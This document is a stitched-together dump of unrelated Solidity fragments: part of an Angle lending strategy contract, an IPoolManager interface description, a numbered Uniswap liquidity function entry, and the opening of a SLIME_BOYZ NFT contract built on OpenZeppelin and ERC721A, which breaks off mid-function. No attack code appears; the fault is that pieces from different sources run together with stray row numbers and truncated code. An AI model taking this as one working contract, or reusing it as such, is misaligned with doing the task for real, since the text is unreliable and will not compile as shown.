uint256 bal = want.balanceOf(address(this)); if (bal > 0) { want.safeTransfer(address(lendersList[highest]), bal); lendersList[highest].deposit(); } } /// @notice Withdraws a given amount from lenders /// @param _amount The amount to withdraw /// @dev Cycle through withdrawing from worst rate first function _withdrawSome(uint256 _amount) internal returns (uint256 amountWithdrawn) { IGenericLender[] memory lendersList = lenders; if (lendersList.length == 0) { return 0; } // Don't withdraw dust if (_amount < withdrawalThreshold) { return 0; } amountWithdrawn = 0; // In most situations this will only run once. Only big withdrawals will be a gas guzzler uint256 j = 0; while (amountWithdrawn < _amount) { uint256 lowestApr = type(uint256).max; uint256 lowest = 0; for (uint256 i = 0; i < lendersList.length; i++) { if (lendersList[i].hasAssets()) { uint256 apr = lendersList[i].apr(); if (apr < lowestApr) { lowestApr = apr; lowest = i; } } } if (!lendersList[lowest].hasAssets()) { return amountWithdrawn; } amountWithdrawn = amountWithdrawn + lendersList[lowest].withdraw(_amount - amountWithdrawn); j++; // To avoid want infinite loop if (j >= 6) { return amountWithdrawn; } } } /// @notice Liquidates up to `_amountNeeded` of `want` of this strategy's positions, /// irregardless of slippage. Any excess will be re-invested with `_adjustPosition()`. /// This function should return the amount of `want` tokens made available by the /// liquidation. If there is a difference between them, `_loss` indicates whether the /// difference is due to a realized loss, or if there is some other sitution at play /// (e.g. locked funds) where the amount made available is less than what is needed. /// /// NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained function _liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) { uint256 _balance = want.balanceOf(address(this)); if (_balance >= _amountNeeded) { //if we don't set reserve here withdrawer will be sent our full balance return (_amountNeeded, 0); } else { uint256 received = _withdrawSome(_amountNeeded - _balance) + (_balance); if (received >= _amountNeeded) { return (_amountNeeded, 0); } else { return (received, 0); } } } /// @notice Liquidates everything and returns the amount that got freed. /// This function is used during emergency exit instead of `_prepareReturn()` to /// liquidate all of the Strategy's positions back to the Manager. function _liquidateAllPositions() internal override returns (uint256 _amountFreed) { (_amountFreed, ) = _liquidatePosition(estimatedTotalAssets()); } // ========================== View Functions =================================== struct LendStatus { string name; uint256 assets; uint256 rate; address add; } /// @notice View function to check the current state of the strategy /// @return Returns the status of all lenders attached the strategy function lendStatuses() external view returns (LendStatus[] memory) { uint256 lendersListLength = lenders.length; LendStatus[] memory statuses = new LendStatus[](lendersListLength); for (uint256 i = 0; i < lendersListLength; i++) { LendStatus memory s; s.name = lenders[i].lenderName(); s.add = address(lenders[i]); s.assets = lenders[i].nav(); s.rate = lenders[i].apr(); statuses[i] = s; } return statuses; } /// @notice View function to check the total assets lent function lentTotalAssets() public view returns (uint256) { uint256 nav = 0; for (uint256 i = 0; i < lenders.length; i++) { nav = nav + lenders[i].nav(); } return nav; } /// @notice View function to check the total assets managed by the strategy function estimatedTotalAssets() public view override returns (uint256 nav) { nav = lentTotalAssets() + want.balanceOf(address(this)); } /// @notice View function to check the number of lending platforms function numLenders() external view returns (uint256) { return lenders.length; } /// @notice The weighted apr of all lenders. sum(nav * apr)/totalNav function estimatedAPR() external view returns (uint256) { uint256 bal = estimatedTotalAssets(); if (bal == 0) { return 0; } uint256 weightedAPR = 0; for (uint256 i = 0; i < lenders.length; i++) { weightedAPR = weightedAPR + lenders[i].weightedApr(); } return weightedAPR / bal; } /// @notice Prevents the governance from withdrawing want tokens function _protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](1); protected[0] = address(want); return protected; } // ============================ Governance ===================================== struct LenderRatio { address lender; //share x 1000 uint16 share; } /// @notice Reallocates all funds according to a new distributions /// @param _newPositions List of shares to specify the new allocation /// @dev Share must add up to 1000. 500 means 50% etc /// @dev This code has been forked, so we have not thoroughly tested it on our own function manualAllocation(LenderRatio[] memory _newPositions) external onlyRole(GUARDIAN_ROLE) { IGenericLender[] memory lendersList = lenders; uint256 share = 0; for (uint256 i = 0; i < lendersList.length; i++) { lendersList[i].withdrawAll(); } uint256 assets = want.balanceOf(address(this)); for (uint256 i = 0; i < _newPositions.length; i++) { bool found = false; //might be annoying and expensive to do this second loop but worth it for safety for (uint256 j = 0; j < lendersList.length; j++) { if (address(lendersList[j]) == _newPositions[i].lender) { found = true; } } require(found, "94"); share = share + _newPositions[i].share; uint256 toSend = (assets * _newPositions[i].share) / 1000; want.safeTransfer(_newPositions[i].lender, toSend); IGenericLender(_newPositions[i].lender).deposit(); } require(share == 1000, "95"); } /// @notice Changes the withdrawal threshold /// @param _threshold The new withdrawal threshold /// @dev governor, guardian or `PoolManager` only function setWithdrawalThreshold(uint256 _threshold) external onlyRole(GUARDIAN_ROLE) { withdrawalThreshold = _threshold; } /// @notice Add lenders for the strategy to choose between /// @param newLender The adapter to the added lending platform /// @dev Governor, guardian or `PoolManager` only function addLender(IGenericLender newLender) external onlyRole(GUARDIAN_ROLE) { require(newLender.strategy() == address(this), "96"); for (uint256 i = 0; i < lenders.length; i++) { require(address(newLender) != address(lenders[i]), "97"); } lenders.push(newLender); emit AddLender(address(newLender)); } /// @notice Removes a lending platform and fails if total withdrawal is impossible /// @param lender The address of the adapter to the lending platform to remove function safeRemoveLender(address lender) external onlyRole(GUARDIAN_ROLE) { _removeLender(lender, false); } /// @notice Removes a lending platform and even if total withdrawal is impossible /// @param lender The address of the adapter to the lending platform to remove function forceRemoveLender(address lender) external onlyRole(GUARDIAN_ROLE) { _removeLender(lender, true); } /// @notice Internal function to handle lending platform removing /// @param lender The address of the adapter for the lending platform to remove /// @param force Whether it is required that all the funds are withdrawn prior to removal function _removeLender(address lender, bool force) internal { IGenericLender[] memory lendersList = lenders; for (uint256 i = 0; i < lendersList.length; i++) { if (lender == address(lendersList[i])) { bool allWithdrawn = lendersList[i].withdrawAll(); if (!force) { require(allWithdrawn, "98"); } // Put the last index here // then remove last index if (i != lendersList.length - 1) { lenders[i] = lendersList[lendersList.length - 1]; } // Pop shortens array by 1 thereby deleting the last index lenders.pop(); // If balance to spend we might as well put it into the best lender if (want.balanceOf(address(this)) > 0) { _adjustPosition(); } emit RemoveLender(lender); return; } } require(false, "94"); } // ========================== Manager functions ================================ /// @notice Adds a new guardian address and echoes the change to the contracts /// that interact with this collateral `PoolManager` /// @param _guardian New guardian address /// @dev This internal function has to be put in this file because `AccessControl` is not defined /// in `PoolManagerInternal` function addGuardian(address _guardian) external override onlyRole(POOLMANAGER_ROLE) { // Granting the new role // Access control for this contract _grantRole(GUARDIAN_ROLE, _guardian); // Propagating the new role in other contract for (uint256 i = 0; i < lenders.length; i++) { lenders[i].grantRole(GUARDIAN_ROLE, _guardian); } } /// @notice Revokes the guardian role and propagates the change to other contracts /// @param guardian Old guardian address to revoke function revokeGuardian(address guardian) external override onlyRole(POOLMANAGER_ROLE) { _revokeRole(GUARDIAN_ROLE, guardian); for (uint256 i = 0; i < lenders.length; i++) { lenders[i].revokeRole(GUARDIAN_ROLE, guardian); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./BaseStrategy.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "../interfaces/IGenericLender.sol"; import "../interfaces/IOracle.sol"; /// @title StrategyEvents /// @author Angle Core Team /// @notice Events used in `Strategy` contracts contract StrategyEvents { event AddLender(address indexed lender); event RemoveLender(address indexed lender); }
IPoolManager Angle Core Team Previous interface with additionnal getters for public variables and mappings Used in other contracts of the protocol
interface IPoolManager is IPoolManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); function token() external view returns (address); function feeManager() external view returns (address); function totalDebt() external view returns (uint256); function strategies(address _strategy) external view returns (StrategyParams memory); }
423,267
./full_match/1/0x20051E428c9984B256EB73957cA59c256F01938c/sources/contracts/Petar.sol
Adds liquidity to uniswap and sends lp tokens and returns to _to Uni markets can move, so extra tokens are expected to be left and are send to _to _uniData All the required data to deposit to uni fetch tokens from the address approve router so it can pull tokens add liq. and get info how much we put in send leftovers
function _uniSupply(UniSupplyData memory _uniData) internal returns (uint256) { uint amountAPulled = _uniData.tokenA.pullTokensIfNeeded(_uniData.from, _uniData.amountADesired); uint amountBPulled = _uniData.tokenB.pullTokensIfNeeded(_uniData.from, _uniData.amountBDesired); _uniData.tokenA.approveToken(address(router), amountAPulled); _uniData.tokenB.approveToken(address(router), amountBPulled); _uniData.amountADesired = amountAPulled; _uniData.amountBDesired = amountBPulled; (uint256 amountA, uint256 amountB, uint256 liqAmount) = _addLiquidity(_uniData); _uniData.tokenA.withdrawTokens(_uniData.to, sub(_uniData.amountADesired, amountA)); _uniData.tokenB.withdrawTokens(_uniData.to, sub(_uniData.amountBDesired, amountB)); logger.Log( address(this), msg.sender, "UniSupply", abi.encode(_uniData, amountA, amountB, liqAmount) ); return liqAmount; }
4,867,134
/**%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%SLIME_BOYZ_SLIME_BOYZ_SLIME_BOYZ_SLIME_BOYZ_SLIME_BOYZ_SLIME_BOYZ_SLIME_BOYZ%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@*****@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@********@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@***********@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@**************@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%@@ #@@***************%@@@%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%@ @@*******@( @%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%@ @@***@ @%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%@ @@@@ @*@ @%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%@. @@/ @@@ /@%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%@. @@. (@&%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%@@ @&**@ @**@&%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%@***@@@@@@@*********@@@@@@@@*****@%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%@*************@@@@@****************@%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%@************@@ @@#**************@%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@************@@ @@**************@%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@************@@ @@**************@%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@*************@@@@@@****************@%%%%%%%%@**@%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@*@*****************************@****@%%%%%@(**@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@*@*****************************@****%@%%%@****@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%@**@***********************@*****@*****@%@@*****@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%@**@***********************@*****@*****@@*******@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%@**@****@******************@*****@*****@********@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%@**@*@**@*******************@**@*@*******@******@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@***@**@**********************@****************@%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@*********************************************@%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@********************************************@%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%@*******************************************@%%%%%%%%%%%*/ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || 